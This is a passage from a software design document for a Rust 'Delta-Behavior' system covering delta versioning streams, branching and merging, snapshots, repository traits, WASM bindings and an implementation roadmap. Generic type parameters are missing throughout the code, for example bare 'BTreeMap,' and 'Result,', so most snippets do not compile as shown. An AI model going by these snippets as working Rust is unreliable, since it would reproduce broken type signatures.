pub source_id: SourceId,\n /// Deltas indexed by version\n pub deltas: BTreeMap,\n /// Current head version\n pub head: Version,\n /// Periodic snapshots for fast replay\n pub snapshots: HashMap,\n /// Snapshot interval\n pub snapshot_interval: u64,\n /// Stream metadata\n pub metadata: StreamMetadata,\n }\n\n #[derive(Clone, Debug, Default)]\n pub struct StreamMetadata {\n pub created_at: u64,\n pub last_updated: u64,\n pub total_deltas: u64,\n pub total_bytes: u64,\n }\n\n impl DeltaStream {\n pub fn new(id: StreamId, source_id: SourceId, snapshot_interval: u64) -> Self {\n Self {\n id,\n source_id,\n deltas: BTreeMap::new(),\n head: Version::genesis(),\n snapshots: HashMap::new(),\n snapshot_interval,\n metadata: StreamMetadata::default(),\n }\n }\n\n /// Append a delta to the stream\n pub fn append(&mut self, delta: Delta) -> Version {\n let version = self.head.next();\n self.head = version;\n\n self.metadata.total_deltas += 1;\n self.metadata.total_bytes += delta.vector.to_bytes().len() as u64;\n self.metadata.last_updated = delta.timestamp.physical;\n\n self.deltas.insert(version, delta);\n version\n }\n\n /// Get delta at specific version\n pub fn get(&self, version: Version) -> Option<&Delta> {\n self.deltas.get(&version)\n }\n\n /// Get delta range (inclusive)\n pub fn range(&self, from: Version, to: Version) -> Vec<&Delta> {\n self.deltas.range(from..=to)\n .map(|(_, d)| d)\n .collect()\n }\n\n /// Find nearest snapshot before version\n pub fn nearest_snapshot(&self, version: Version) -> Option<(Version, SnapshotId)> {\n self.snapshots.iter()\n .filter(|(v, _)| **v <= version)\n .max_by_key(|(v, _)| *v)\n .map(|(v, s)| (*v, *s))\n }\n\n /// Check if snapshot is due\n pub fn should_snapshot(&self) -> bool {\n let last_snapshot_version = self.snapshots.keys().max().copied()\n .unwrap_or(Version::genesis());\n\n self.head.0 - last_snapshot_version.0 >= self.snapshot_interval\n }\n\n /// Record a snapshot\n pub fn record_snapshot(&mut self, version: Version, snapshot_id: SnapshotId) {\n self.snapshots.insert(version, snapshot_id);\n }\n }\n\n /// DAG-based delta graph (supports branching)\n #[derive(Clone, Debug)]\n pub struct DeltaGraph {\n pub source_id: SourceId,\n /// All deltas by ID\n pub nodes: HashMap,\n /// Child relationships (parent -> children)\n pub edges: HashMap>,\n /// Named branches\n pub branches: HashMap,\n /// Main branch head\n pub main_head: Option,\n /// Root deltas (no parent)\n pub roots: HashSet,\n }\n\n #[derive(Clone, Debug)]\n pub struct DeltaGraphNode {\n pub delta: Delta,\n pub version: Version,\n pub branch: Option,\n pub is_merge: bool,\n /// Second parent for merge commits\n pub merge_parent: Option,\n }\n\n impl DeltaGraph {\n pub fn new(source_id: SourceId) -> Self {\n Self {\n source_id,\n nodes: HashMap::new(),\n edges: HashMap::new(),\n branches: HashMap::new(),\n main_head: None,\n roots: HashSet::new(),\n }\n }\n\n /// Add a delta to the graph\n pub fn add(&mut self, delta: Delta, branch: Option) -> DeltaId {\n let delta_id = delta.id;\n let parent_id = delta.parent_id;\n\n // Determine version\n let version = match parent_id {\n Some(pid) => self.nodes.get(&pid)\n .map(|n| n.version.next())\n .unwrap_or(Version(1)),\n None => Version(1),\n };\n\n // Create node\n let node = DeltaGraphNode {\n delta,\n version,\n branch: branch.clone(),\n is_merge: false,\n merge_parent: None,\n };\n\n self.nodes.insert(delta_id, node);\n\n // Update edges\n if let Some(pid) = parent_id {\n self.edges.entry(pid).or_default().push(delta_id);\n } else {\n self.roots.insert(delta_id);\n }\n\n // Update branch head\n if let Some(ref b) = branch {\n self.branches.insert(b.clone(), delta_id);\n } else {\n self.main_head = Some(delta_id);\n }\n\n delta_id\n }\n\n /// Create a branch from a delta\n pub fn create_branch(&mut self, branch_id: BranchId, from_delta: DeltaId) -> Result<(), VersioningError> {\n if !self.nodes.contains_key(&from_delta) {\n return Err(VersioningError::DeltaNotFound(from_delta));\n }\n\n if self.branches.contains_key(&branch_id) {\n return Err(VersioningError::BranchExists(branch_id));\n }\n\n self.branches.insert(branch_id, from_delta);\n Ok(())\n }\n\n /// Merge two branches\n pub fn merge(\n &mut self,\n source_branch: &BranchId,\n target_branch: &BranchId,\n merged_vector: DeltaVector,\n timestamp: DeltaTimestamp,\n ) -> Result {\n let source_head = self.branches.get(source_branch)\n .ok_or_else(|| VersioningError::BranchNotFound(source_branch.clone()))?;\n let target_head = self.branches.get(target_branch)\n .ok_or_else(|| VersioningError::BranchNotFound(target_branch.clone()))?;\n\n // Create merge delta\n let merge_delta = Delta::new(\n self.source_id.clone(),\n timestamp,\n self.nodes.get(target_head).map(|n| &n.delta),\n merged_vector,\n HashMap::from([(\"merge\".to_string(), \"true\".to_string())]),\n );\n\n let merge_id = merge_delta.id;\n\n // Add merge node\n let version = self.nodes.get(target_head)\n .map(|n| n.version.next())\n .unwrap_or(Version(1));\n\n let node = DeltaGraphNode {\n delta: merge_delta,\n version,\n branch: Some(target_branch.clone()),\n is_merge: true,\n merge_parent: Some(*source_head),\n };\n\n self.nodes.insert(merge_id, node);\n\n // Update edges (merge has two parents)\n self.edges.entry(*target_head).or_default().push(merge_id);\n self.edges.entry(*source_head).or_default().push(merge_id);\n\n // Update target branch head\n self.branches.insert(target_branch.clone(), merge_id);\n\n Ok(merge_id)\n }\n\n /// Get ancestry path from root to delta\n pub fn ancestry(&self, delta_id: DeltaId) -> Vec {\n let mut path = Vec::new();\n let mut current = Some(delta_id);\n\n while let Some(id) = current {\n path.push(id);\n current = self.nodes.get(&id)\n .and_then(|n| n.delta.parent_id);\n }\n\n path.reverse();\n path\n }\n\n /// Find common ancestor of two deltas\n pub fn common_ancestor(&self, a: DeltaId, b: DeltaId) -> Option {\n let ancestry_a: HashSet<_> = self.ancestry(a).into_iter().collect();\n\n for ancestor in self.ancestry(b) {\n if ancestry_a.contains(&ancestor) {\n return Some(ancestor);\n }\n }\n\n None\n }\n\n /// Get all deltas in topological order\n pub fn topological_order(&self) -> Vec {\n let mut result = Vec::new();\n let mut visited = HashSet::new();\n let mut stack: Vec = self.roots.iter().copied().collect();\n\n while let Some(id) = stack.pop() {\n if visited.contains(&id) {\n continue;\n }\n visited.insert(id);\n result.push(id);\n\n if let Some(children) = self.edges.get(&id) {\n for &child in children {\n if !visited.contains(&child) {\n stack.push(child);\n }\n }\n }\n }\n\n result\n }\n }\n\n /// Full state snapshot for fast replay\n #[derive(Clone, Debug)]\n pub struct DeltaSnapshot {\n pub id: SnapshotId,\n pub source_id: SourceId,\n /// Full state vector at this point\n pub state: Vec,\n /// Delta that produced this state\n pub delta_id: DeltaId,\n /// Stream version (if from stream)\n pub version: Version,\n /// Timestamp of snapshot\n pub created_at: DeltaTimestamp,\n /// State checksum\n pub checksum: DeltaChecksum,\n }\n\n impl DeltaSnapshot {\n pub fn new(\n source_id: SourceId,\n state: Vec,\n delta_id: DeltaId,\n version: Version,\n timestamp: DeltaTimestamp,\n ) -> Self {\n let mut data = Vec::new();\n for val in &state {\n data.extend(&val.to_le_bytes());\n }\n let checksum = DeltaChecksum::compute(&data);\n\n Self {\n id: SnapshotId(rand::random()),\n source_id,\n state,\n delta_id,\n version,\n created_at: timestamp,\n checksum,\n }\n }\n\n /// Verify snapshot integrity\n pub fn verify(&self) -> bool {\n let mut data = Vec::new();\n for val in &self.state {\n data.extend(&val.to_le_bytes());\n }\n let computed = DeltaChecksum::compute(&data);\n computed == self.checksum\n }\n }\n\n /// Index for efficient delta lookup\n #[derive(Clone, Debug)]\n pub struct DeltaIndex {\n /// Delta by ID\n by_id: HashMap,\n /// Deltas by source\n by_source: HashMap>,\n /// Deltas by time range\n by_time: BTreeMap>,\n /// Checksum -> Delta mapping\n by_checksum: HashMap,\n }\n\n impl DeltaIndex {\n pub fn new() -> Self {\n Self {\n by_id: HashMap::new(),\n by_source: HashMap::new(),\n by_time: BTreeMap::new(),\n by_checksum: HashMap::new(),\n }\n }\n\n /// Index a delta\n pub fn insert(&mut self, delta: Delta) {\n let id = delta.id;\n let source = delta.source_id.clone();\n let time = delta.timestamp.physical;\n let checksum = delta.checksum;\n\n self.by_source.entry(source).or_default().push(id);\n self.by_time.entry(time).or_default().push(id);\n self.by_checksum.insert(checksum, id);\n self.by_id.insert(id, delta);\n }\n\n /// Lookup by ID\n pub fn get(&self, id: &DeltaId) -> Option<&Delta> {\n self.by_id.get(id)\n }\n\n /// Query by source\n pub fn by_source(&self, source: &SourceId) -> Vec<&Delta> {\n self.by_source.get(source)\n .map(|ids| ids.iter().filter_map(|id| self.by_id.get(id)).collect())\n .unwrap_or_default()\n }\n\n /// Query by time range\n pub fn by_time_range(&self, start_ms: u64, end_ms: u64) -> Vec<&Delta> {\n self.by_time.range(start_ms..=end_ms)\n .flat_map(|(_, ids)| ids.iter())\n .filter_map(|id| self.by_id.get(id))\n .collect()\n }\n\n /// Verify by checksum\n pub fn verify(&self, checksum: &DeltaChecksum) -> Option<&Delta> {\n self.by_checksum.get(checksum)\n .and_then(|id| self.by_id.get(id))\n }\n }\n\n #[derive(Debug)]\n pub enum VersioningError {\n DeltaNotFound(DeltaId),\n BranchNotFound(BranchId),\n BranchExists(BranchId),\n SnapshotNotFound(SnapshotId),\n ReplayFailed(String),\n MergeConflict { delta_a: DeltaId, delta_b: DeltaId },\n }\n}\n```\n\n#### Domain Events\n\n| Event | Payload | Published When |\n|-------|---------|----------------|\n| `DeltaVersioned` | delta_id, version, stream_id | Delta assigned version number |\n| `SnapshotCreated` | snapshot_id, version, state_hash | Full state captured |\n| `BranchCreated` | branch_id, from_delta_id | New branch started |\n| `BranchMerged` | source_branch, target_branch, merge_delta_id | Branches combined |\n| `StreamCompacted` | stream_id, before_count, after_count | Old deltas archived |\n| `ReplayStarted` | from_version, to_version | State reconstruction begun |\n| `ReplayCompleted` | target_version, delta_count, duration_ms | State reconstruction finished |\n\n---\n\n## 4. Bounded Context Map\n\n```\n+-----------------------------------------------------------------------+\n| CONTEXT MAP |\n+-----------------------------------------------------------------------+\n\n +-----------------+\n | Delta Capture |\n | Context |\n | (Core Domain) |\n +--------+--------+\n |\n | [Published Language: Delta, DeltaVector, DeltaTimestamp]\n |\n v\n +-----------------+ +-----------------+\n | Delta |<------>| Delta |\n | Propagation | ACL | Aggregation |\n | Context | | Context |\n | (Supporting) | | (Supporting) |\n +--------+--------+ +--------+--------+\n | |\n | [ACL] | [Shared Kernel: DeltaWindow]\n | |\n v v\n +-----------------+ +-----------------+\n | Delta |<------>| Delta |\n | Application | P/S | Versioning |\n | Context | | Context |\n | (Core Domain) | | (Core Domain) |\n +-----------------+ +-----------------+\n\n\nLEGEND:\n [P/S] = Partnership (bidirectional cooperation)\n [ACL] = Anti-Corruption Layer\n [Published Language] = Shared vocabulary, immutable contracts\n [Shared Kernel] = Co-owned code/types\n\nINTEGRATION PATTERNS:\n\n| Upstream | Downstream | Pattern | Shared Types |\n|------------------|-------------------|--------------------|---------------------------------|\n| Delta Capture | Propagation | Published Language | Delta, DeltaVector, DeltaId |\n| Delta Capture | Aggregation | Published Language | Delta, DeltaTimestamp |\n| Propagation | Application | ACL | RoutingDecision -> ApplyRequest |\n| Aggregation | Application | Shared Kernel | AggregatedDelta |\n| Aggregation | Versioning | Shared Kernel | DeltaWindow, BatchId |\n| Application | Versioning | Partnership | ApplicationResult <-> Version |\n```\n\n---\n\n## 5. Anti-Corruption Layers\n\n### 5.1 Propagation to Application ACL\n\n```rust\n/// ACL: Translate propagation concepts to application domain\npub mod propagation_to_application_acl {\n use super::delta_propagation::*;\n use super::delta_application::*;\n use super::delta_capture::*;\n\n /// Adapter that translates routing decisions into application requests\n pub struct RoutingToApplicationAdapter;\n\n impl RoutingToApplicationAdapter {\n /// Convert a delivered delta into an application request\n pub fn to_apply_request(\n delta: &Delta,\n routing: &RoutingDecision,\n target_id: TargetId,\n ) -> ApplyRequest {\n ApplyRequest {\n delta: delta.clone(),\n target_id,\n priority: match routing.priority {\n RoutingPriority::Critical => ApplicationPriority::Immediate,\n RoutingPriority::High => ApplicationPriority::High,\n RoutingPriority::Normal => ApplicationPriority::Normal,\n RoutingPriority::Low => ApplicationPriority::Background,\n },\n timeout_ms: routing.ttl_ms,\n retry_policy: match routing.priority {\n RoutingPriority::Critical => RetryPolicy::Infinite,\n RoutingPriority::High => RetryPolicy::Count(5),\n RoutingPriority::Normal => RetryPolicy::Count(3),\n RoutingPriority::Low => RetryPolicy::None,\n },\n }\n }\n\n /// Map application result back to acknowledgment\n pub fn to_acknowledgment(\n result: &ApplicationResult,\n subscriber_id: SubscriberId,\n ) -> DeltaAcknowledgment {\n DeltaAcknowledgment {\n delta_id: result.delta_id,\n subscriber_id,\n success: matches!(result.status, ApplicationStatus::Applied),\n new_version: Some(result.new_state_hash),\n }\n }\n }\n\n #[derive(Clone, Debug)]\n pub struct ApplyRequest {\n pub delta: Delta,\n pub target_id: TargetId,\n pub priority: ApplicationPriority,\n pub timeout_ms: Option,\n pub retry_policy: RetryPolicy,\n }\n\n #[derive(Clone, Copy, Debug)]\n pub enum ApplicationPriority {\n Immediate,\n High,\n Normal,\n Background,\n }\n\n #[derive(Clone, Copy, Debug)]\n pub enum RetryPolicy {\n None,\n Count(u32),\n Infinite,\n }\n\n #[derive(Clone, Debug)]\n pub struct DeltaAcknowledgment {\n pub delta_id: DeltaId,\n pub subscriber_id: SubscriberId,\n pub success: bool,\n pub new_version: Option<[u8; 32]>,\n }\n}\n```\n\n### 5.2 Aggregation to Versioning ACL\n\n```rust\n/// ACL: Translate aggregation windows to versioning streams\npub mod aggregation_to_versioning_acl {\n use super::delta_aggregation::*;\n use super::delta_versioning::*;\n use super::delta_capture::*;\n\n /// Adapter for converting aggregated deltas to stream entries\n pub struct AggregationToVersioningAdapter {\n snapshot_threshold: u32,\n }\n\n impl AggregationToVersioningAdapter {\n pub fn new(snapshot_threshold: u32) -> Self {\n Self { snapshot_threshold }\n }\n\n /// Convert a window's deltas into stream entries\n pub fn window_to_stream_entries(\n &self,\n window: &DeltaWindow,\n stream: &mut DeltaStream,\n ) -> Vec {\n let mut versions = Vec::new();\n\n for delta in &window.deltas {\n let version = stream.append(delta.clone());\n versions.push(version);\n }\n\n versions\n }\n\n /// Convert aggregated delta to single stream entry\n pub fn aggregated_to_stream_entry(\n &self,\n aggregated: &AggregatedDelta,\n stream: &mut DeltaStream,\n timestamp: DeltaTimestamp,\n ) -> (Version, bool) {\n // Create a synthetic delta from the aggregated vector\n let parent = stream.get(stream.head);\n\n let delta = Delta::new(\n aggregated.source_id.clone(),\n timestamp,\n parent,\n aggregated.composed_vector.clone(),\n std::collections::HashMap::from([\n (\"aggregated\".to_string(), \"true\".to_string()),\n (\"delta_count\".to_string(), aggregated.delta_count.to_string()),\n (\"compression_ratio\".to_string(),\n aggregated.compression_ratio.to_string()),\n ]),\n );\n\n let version = stream.append(delta);\n let should_snapshot = stream.should_snapshot();\n\n (version, should_snapshot)\n }\n\n /// Determine if window warrants a snapshot\n pub fn should_create_snapshot(\n &self,\n window: &DeltaWindow,\n current_version: Version,\n ) -> bool {\n window.metrics.delta_count >= self.snapshot_threshold ||\n window.metrics.total_magnitude > 10.0\n }\n }\n}\n```\n\n---\n\n## 6. Repository Interfaces\n\n```rust\n/// Repository interfaces for persistence\npub mod repositories {\n use super::delta_capture::*;\n use super::delta_versioning::*;\n use super::delta_aggregation::*;\n use async_trait::async_trait;\n\n // ============================================================\n // DELTA REPOSITORY\n // ============================================================\n\n #[async_trait]\n pub trait DeltaRepository: Send + Sync {\n /// Store a delta\n async fn save(&self, delta: &Delta) -> Result<(), RepositoryError>;\n\n /// Retrieve delta by ID\n async fn find_by_id(&self, id: &DeltaId) -> Result, RepositoryError>;\n\n /// Find deltas by source\n async fn find_by_source(\n &self,\n source_id: &SourceId,\n limit: usize,\n offset: usize,\n ) -> Result, RepositoryError>;\n\n /// Find deltas in time range\n async fn find_by_time_range(\n &self,\n source_id: &SourceId,\n start_ms: u64,\n end_ms: u64,\n ) -> Result, RepositoryError>;\n\n /// Find deltas by parent (for graph traversal)\n async fn find_children(&self, parent_id: &DeltaId) -> Result, RepositoryError>;\n\n /// Verify checksum chain\n async fn verify_chain(\n &self,\n from_id: &DeltaId,\n to_id: &DeltaId,\n ) -> Result;\n\n /// Bulk insert deltas\n async fn save_batch(&self, deltas: &[Delta]) -> Result;\n\n /// Delete deltas older than version (for compaction)\n async fn delete_before(\n &self,\n source_id: &SourceId,\n before_timestamp: u64,\n ) -> Result;\n }\n\n // ============================================================\n // SNAPSHOT REPOSITORY\n // ============================================================\n\n #[async_trait]\n pub trait SnapshotRepository: Send + Sync {\n /// Store a snapshot\n async fn save(&self, snapshot: &DeltaSnapshot) -> Result<(), RepositoryError>;\n\n /// Retrieve snapshot by ID\n async fn find_by_id(&self, id: &SnapshotId) -> Result, RepositoryError>;\n\n /// Find nearest snapshot before version\n async fn find_nearest(\n &self,\n source_id: &SourceId,\n before_version: Version,\n ) -> Result, RepositoryError>;\n\n /// List snapshots for source\n async fn list_by_source(\n &self,\n source_id: &SourceId,\n ) -> Result, RepositoryError>;\n\n /// Delete old snapshots (keep N most recent)\n async fn cleanup(\n &self,\n source_id: &SourceId,\n keep_count: usize,\n ) -> Result;\n }\n\n // ============================================================\n // STREAM REPOSITORY\n // ============================================================\n\n #[async_trait]\n pub trait StreamRepository: Send + Sync {\n /// Get or create stream\n async fn get_or_create(\n &self,\n source_id: &SourceId,\n ) -> Result;\n\n /// Save stream metadata\n async fn save_metadata(\n &self,\n stream: &DeltaStream,\n ) -> Result<(), RepositoryError>;\n\n /// Append delta to stream\n async fn append(\n &self,\n stream_id: &StreamId,\n delta: &Delta,\n ) -> Result;\n\n /// Get deltas in version range\n async fn get_range(\n &self,\n stream_id: &StreamId,\n from: Version,\n to: Version,\n ) -> Result, RepositoryError>;\n\n /// Get current head version\n async fn get_head(&self, stream_id: &StreamId) -> Result;\n }\n\n // ============================================================\n // INDEX REPOSITORY (for search)\n // ============================================================\n\n #[async_trait]\n pub trait IndexRepository: Send + Sync {\n /// Index a delta\n async fn index(&self, delta: &Delta) -> Result<(), RepositoryError>;\n\n /// Search by checksum\n async fn search_by_checksum(\n &self,\n checksum: &DeltaChecksum,\n ) -> Result, RepositoryError>;\n\n /// Search by metadata\n async fn search_by_metadata(\n &self,\n key: &str,\n value: &str,\n ) -> Result, RepositoryError>;\n\n /// Full-text search in metadata\n async fn search_text(\n &self,\n query: &str,\n limit: usize,\n ) -> Result, RepositoryError>;\n }\n\n // ============================================================\n // ERROR TYPES\n // ============================================================\n\n #[derive(Debug)]\n pub enum RepositoryError {\n NotFound(String),\n Conflict(String),\n ConnectionError(String),\n SerializationError(String),\n IntegrityError(String),\n StorageFull,\n Timeout,\n }\n}\n```\n\n---\n\n## 7. Event Flow Diagram\n\n```\n DELTA-BEHAVIOR EVENT FLOW\n+----------------------------------------------------------------------------+\n| |\n| Source State Change |\n| | |\n| v |\n| +-------------+ |\n| | Observer |-----> [ChangeDetected] |\n| +------+------+ |\n| | |\n| v |\n| +-------------+ |\n| | Extractor |-----> [DeltaExtracted] |\n| +------+------+ |\n| | |\n| | Delta |\n| v |\n| +-------------+ +---------------+ |\n| | Router |------->| Channel Pub |-----> [DeltaRouted] |\n| +------+------+ +-------+-------+ |\n| | | |\n| | v |\n| | +---------------+ |\n| | | Subscriber |-----> [DeltaDelivered] |\n| | +-------+-------+ |\n| | | |\n| v | |\n| +-------------+ | |\n| | Window | | |\n| | Aggregator |-----> [WindowClosed, WindowCompacted] |\n| +------+------+ | |\n| | | |\n| | AggregatedDelta | Delta |\n| | | |\n| v v |\n| +-------------+ +-------------+ |\n| | Versioning |<------->| Application | |\n| | Stream | | Target | |\n| +------+------+ +------+------+ |\n| | | |\n| | | |\n| v v |\n| [DeltaVersioned] [DeltaApplied] |\n| [SnapshotCreated] [DeltaRolledBack] |\n| [BranchCreated] [DeltaConflictDetected] |\n| [BranchMerged] |\n| |\n+----------------------------------------------------------------------------+\n```\n\n---\n\n## 8. WASM Integration Architecture\n\n```rust\n/// WASM bindings for Delta-Behavior system\npub mod wasm_bindings {\n use wasm_bindgen::prelude::*;\n use serde::{Deserialize, Serialize};\n\n // ============================================================\n // WASM-OPTIMIZED TYPES (minimal footprint)\n // ============================================================\n\n /// Compact delta for WASM (minimized size)\n #[wasm_bindgen]\n #[derive(Clone)]\n pub struct WasmDelta {\n id_high: u64,\n id_low: u64,\n parent_high: u64,\n parent_low: u64,\n timestamp: u64,\n indices: Vec,\n values: Vec,\n }\n\n #[wasm_bindgen]\n impl WasmDelta {\n #[wasm_bindgen(constructor)]\n pub fn new(timestamp: u64, indices: Vec, values: Vec) -> Self {\n let id = uuid::Uuid::new_v4().as_u128();\n Self {\n id_high: (id >> 64) as u64,\n id_low: id as u64,\n parent_high: 0,\n parent_low: 0,\n timestamp,\n indices,\n values,\n }\n }\n\n /// Set parent delta ID\n pub fn set_parent(&mut self, high: u64, low: u64) {\n self.parent_high = high;\n self.parent_low = low;\n }\n\n /// Get delta ID as hex string\n pub fn id_hex(&self) -> String {\n format!(\"{:016x}{:016x}\", self.id_high, self.id_low)\n }\n\n /// Apply to a vector (in-place)\n pub fn apply(&self, vector: &mut [f32]) {\n for (&idx, &val) in self.indices.iter().zip(self.values.iter()) {\n if (idx as usize) < vector.len() {\n vector[idx as usize] += val;\n }\n }\n }\n\n /// Compute L2 magnitude\n pub fn magnitude(&self) -> f32 {\n self.values.iter().map(|v| v * v).sum::().sqrt()\n }\n\n /// Serialize to bytes\n pub fn to_bytes(&self) -> Vec {\n let mut bytes = Vec::with_capacity(\n 16 + 16 + 8 + 4 + self.indices.len() * 4 + self.values.len() * 4\n );\n\n bytes.extend(&self.id_high.to_le_bytes());\n bytes.extend(&self.id_low.to_le_bytes());\n bytes.extend(&self.parent_high.to_le_bytes());\n bytes.extend(&self.parent_low.to_le_bytes());\n bytes.extend(&self.timestamp.to_le_bytes());\n bytes.extend(&(self.indices.len() as u32).to_le_bytes());\n\n for &idx in &self.indices {\n bytes.extend(&idx.to_le_bytes());\n }\n for &val in &self.values {\n bytes.extend(&val.to_le_bytes());\n }\n\n bytes\n }\n\n /// Deserialize from bytes\n pub fn from_bytes(bytes: &[u8]) -> Result {\n if bytes.len() < 44 {\n return Err(JsValue::from_str(\"Buffer too small\"));\n }\n\n let id_high = u64::from_le_bytes(bytes[0..8].try_into().unwrap());\n let id_low = u64::from_le_bytes(bytes[8..16].try_into().unwrap());\n let parent_high = u64::from_le_bytes(bytes[16..24].try_into().unwrap());\n let parent_low = u64::from_le_bytes(bytes[24..32].try_into().unwrap());\n let timestamp = u64::from_le_bytes(bytes[32..40].try_into().unwrap());\n let count = u32::from_le_bytes(bytes[40..44].try_into().unwrap()) as usize;\n\n let expected_len = 44 + count * 8;\n if bytes.len() < expected_len {\n return Err(JsValue::from_str(\"Buffer too small for data\"));\n }\n\n let mut indices = Vec::with_capacity(count);\n let mut values = Vec::with_capacity(count);\n\n let mut offset = 44;\n for _ in 0..count {\n indices.push(u32::from_le_bytes(bytes[offset..offset+4].try_into().unwrap()));\n offset += 4;\n }\n for _ in 0..count {\n values.push(f32::from_le_bytes(bytes[offset..offset+4].try_into().unwrap()));\n offset += 4;\n }\n\n Ok(Self {\n id_high,\n id_low,\n parent_high,\n parent_low,\n timestamp,\n indices,\n values,\n })\n }\n }\n\n // ============================================================\n // WASM DELTA STREAM\n // ============================================================\n\n #[wasm_bindgen]\n pub struct WasmDeltaStream {\n deltas: Vec,\n head_idx: Option,\n }\n\n #[wasm_bindgen]\n impl WasmDeltaStream {\n #[wasm_bindgen(constructor)]\n pub fn new() -> Self {\n Self {\n deltas: Vec::new(),\n head_idx: None,\n }\n }\n\n /// Append delta to stream\n pub fn append(&mut self, mut delta: WasmDelta) -> usize {\n // Set parent to current head\n if let Some(head) = self.head_idx {\n let parent = &self.deltas[head];\n delta.set_parent(parent.id_high, parent.id_low);\n }\n\n let idx = self.deltas.len();\n self.deltas.push(delta);\n self.head_idx = Some(idx);\n idx\n }\n\n /// Get delta count\n pub fn len(&self) -> usize {\n self.deltas.len()\n }\n\n /// Apply all deltas to a vector\n pub fn apply_all(&self, vector: &mut [f32]) {\n for delta in &self.deltas {\n delta.apply(vector);\n }\n }\n\n /// Apply deltas from index to head\n pub fn apply_from(&self, start_idx: usize, vector: &mut [f32]) {\n for delta in self.deltas.iter().skip(start_idx) {\n delta.apply(vector);\n }\n }\n\n /// Compact stream by composing deltas\n pub fn compact(&mut self) -> WasmDelta {\n let mut indices_map = std::collections::HashMap::new();\n\n for delta in &self.deltas {\n for (&idx, &val) in delta.indices.iter().zip(delta.values.iter()) {\n *indices_map.entry(idx).or_insert(0.0f32) += val;\n }\n }\n\n let mut sorted: Vec<_> = indices_map.into_iter().collect();\n sorted.sort_by_key(|(idx, _)| *idx);\n\n let indices: Vec = sorted.iter().map(|(i, _)| *i).collect();\n let values: Vec = sorted.iter().map(|(_, v)| *v).collect();\n\n let timestamp = self.deltas.last()\n .map(|d| d.timestamp)\n .unwrap_or(0);\n\n WasmDelta::new(timestamp, indices, values)\n }\n\n /// Serialize entire stream\n pub fn to_bytes(&self) -> Vec {\n let mut bytes = Vec::new();\n bytes.extend(&(self.deltas.len() as u32).to_le_bytes());\n\n for delta in &self.deltas {\n let delta_bytes = delta.to_bytes();\n bytes.extend(&(delta_bytes.len() as u32).to_le_bytes());\n bytes.extend(&delta_bytes);\n }\n\n bytes\n }\n }\n\n // ============================================================\n // WASM DELTA DETECTOR (Change detection in WASM)\n // ============================================================\n\n #[wasm_bindgen]\n pub struct WasmDeltaDetector {\n threshold: f32,\n min_component_diff: f32,\n last_state: Option>,\n }\n\n #[wasm_bindgen]\n impl WasmDeltaDetector {\n #[wasm_bindgen(constructor)]\n pub fn new(threshold: f32, min_component_diff: f32) -> Self {\n Self {\n threshold,\n min_component_diff,\n last_state: None,\n }\n }\n\n /// Detect delta between last state and new state\n pub fn detect(&mut self, new_state: Vec) -> Option {\n let delta = match &self.last_state {\n Some(old) => {\n if old.len() != new_state.len() {\n return None;\n }\n\n let mut indices = Vec::new();\n let mut values = Vec::new();\n let mut magnitude_sq = 0.0f32;\n\n for (i, (&old_val, &new_val)) in old.iter().zip(new_state.iter()).enumerate() {\n let diff = new_val - old_val;\n if diff.abs() > self.min_component_diff {\n indices.push(i as u32);\n values.push(diff);\n magnitude_sq += diff * diff;\n }\n }\n\n let magnitude = magnitude_sq.sqrt();\n if magnitude < self.threshold {\n None\n } else {\n let timestamp = js_sys::Date::now() as u64;\n Some(WasmDelta::new(timestamp, indices, values))\n }\n }\n None => None,\n };\n\n self.last_state = Some(new_state);\n delta\n }\n\n /// Reset detector state\n pub fn reset(&mut self) {\n self.last_state = None;\n }\n }\n}\n```\n\n---\n\n## 9. Technology Evaluation Matrix\n\n| Component | Option A | Option B | Recommendation | Rationale |\n|-----------|----------|----------|----------------|-----------|\n| **Delta Storage** | PostgreSQL + JSONB | RuVector + Append Log | RuVector | Native vector support, HNSW for similarity |\n| **Checksum Chain** | SHA-256 | Blake3 | Blake3 | 3x faster, streaming support |\n| **Serialization** | JSON | Bincode | Bincode (WASM), JSON (API) | Size: 60% smaller, speed: 10x faster |\n| **Timestamp** | Wall Clock | Hybrid Logical | Hybrid Logical | Causality without clock sync |\n| **Conflict Resolution** | LWW | Vector Clocks | Vector Clocks | Concurrent detection |\n| **WASM Runtime** | wasm-bindgen | wit-bindgen | wasm-bindgen | Mature, browser-compatible |\n| **Pub/Sub** | Redis Streams | NATS | NATS (prod), in-process (embed) | Persistence + at-least-once |\n| **Graph Storage** | Neo4j | ruvector-graph | ruvector-graph | Native integration |\n\n---\n\n## 10. Consequences\n\n### Benefits\n\n1. **Incremental Efficiency**: Only transmit/store actual changes (typically 1-5% of full vector)\n2. **Temporal Queries**: Reconstruct any historical state via delta replay\n3. **Conflict Visibility**: Concurrent modifications explicitly tracked and resolved\n4. **Audit Trail**: Complete, tamper-evident history of all changes\n5. **WASM Portability**: Core delta logic runs anywhere (browser, edge, server)\n6. **Composability**: Deltas can be merged, compacted, or branched\n7. **Clear Boundaries**: Each domain has explicit responsibilities\n\n### Risks and Mitigations\n\n| Risk | Impact | Probability | Mitigation |\n|------|--------|-------------|------------|\n| Replay performance at scale | High | Medium | Periodic snapshots (every N deltas) |\n| Checksum chain corruption | High | Low | Redundant storage, verification on read |\n| Window aggregation data loss | Medium | Low | WAL before window close |\n| Branch merge conflicts | Medium | Medium | Clear resolution strategies per domain |\n| WASM memory limits | Medium | Medium | Streaming delta application |\n\n### Trade-offs\n\n1. **Storage vs Replay Speed**: More frequent snapshots = faster replay, more storage\n2. **Granularity vs Overhead**: Fine-grained deltas = better precision, more metadata overhead\n3. **Compression vs Latency**: Window compaction = smaller storage, delayed visibility\n4. **Consistency vs Availability**: Strict ordering = stronger guarantees, potential blocking\n\n---\n\n## 11. Implementation Roadmap\n\n### Phase 1: Core Domain (4 weeks)\n- [ ] Delta Capture domain implementation\n- [ ] Value objects: DeltaId, DeltaTimestamp, DeltaVector\n- [ ] WASM bindings for core types\n- [ ] Unit tests for delta composition/inversion\n\n### Phase 2: Propagation + Aggregation (3 weeks)\n- [ ] Channel/Subscriber infrastructure\n- [ ] Window aggregation with policies\n- [ ] Routing rules engine\n- [ ] Integration tests\n\n### Phase 3: Application + Versioning (4 weeks)\n- [ ] Delta application with validation\n- [ ] Rollback support\n- [ ] Version stream management\n- [ ] Snapshot creation/restoration\n- [ ] Branch/merge support\n\n### Phase 4: Repositories + Integration (3 weeks)\n- [ ] PostgreSQL repository implementations\n- [ ] RuVector index integration\n- [ ] NATS pub/sub integration\n- [ ] End-to-end tests\n\n### Phase 5: Production Hardening (2 weeks)\n- [ ] Performance benchmarks\n- [ ] WASM size optimization\n- [ ] Monitoring/metrics\n- [ ] 